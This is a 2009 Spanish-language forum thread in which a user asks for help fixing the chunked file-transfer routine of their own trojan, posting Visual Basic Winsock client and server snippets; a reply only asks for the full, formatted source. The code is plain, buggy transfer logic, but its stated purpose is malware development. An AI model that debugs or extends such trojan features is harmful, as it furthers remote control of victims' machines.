Desesperado con transeferncia de archivos...

Iniciado por s_azazel, 7 Diciembre 2009, 16:49 PM

0 Miembros y 1 Visitante están viendo este tema.

s_azazel

Holaaaaaaaa tenia un problema con la ransefencia de archivos de mi troyano y era k si enviavas un archivo muy grabde se colgaba y lei que lo mejor era partirlo en trozos para enviarlo....
Os pongo mi code para a ver si me podeis hechar una mano porque no encuentro el error :S:S
la transferencia me la hace correctamente....y recibo el archivo con la extension correcta y el tamaño correcto (alguna vez tienen albun byte de mas) pero a la hora de abrirlos me dan error :S:S


Cliente:

If Datos = "enviar" Then
Dim buffer As String
Open CD.FileName For Binary Access Read As #1
buffer = Space$(25000)
For i = 1 To FileLen(CD.FileName) / 25000
Get #1, , buffer
WS1(Index).SendData buffer
If FileLen(CD.FileName) - Loc(1) <= 25000 Then
buffer = Space$(FileLen(CD.FileName) - Loc(1))
Get #1, , buffer
WS1(Index).SendData buffer
End If
Next
End If



Servidor:

If intrecibir = True Then
dtotal = Datos + dtotal
total = Len(dtotal)
Text7.Text = total
If tamaño <= Text7.Text And intrecibir = True Then
Put #1, 1, dtotal 'Escribimos
Close #1
intrecibir = False
WS.SendData "recibido"
End If
End If


If Left(Datos, 7) = "archivo" Then
dato = Split(Datos, "|")
tamaño = dato(1)
ruta = dato(2)
Open ruta For Binary As #1
Text5.Text = tamaño
Text6.Text = ruta
intrecibir = True
WS.SendData "enviar"
End If

End Sub



Muchas gracias

pd: falnta alguna variable sin definir que las tengo al principio del code

ssccaann43 ©

podrias ordenar el codigo y usar el GeSHi...!

Por otro lado, deberías mostrar el source completo y no de esa manera ya que hay variables cuyas definiciones desconocemos y no somos adivinos.
- Miguel Núñez
Todos tenemos derechos a ser estupidos, pero algunos abusan de ese privilegio...
"I like ^TiFa^"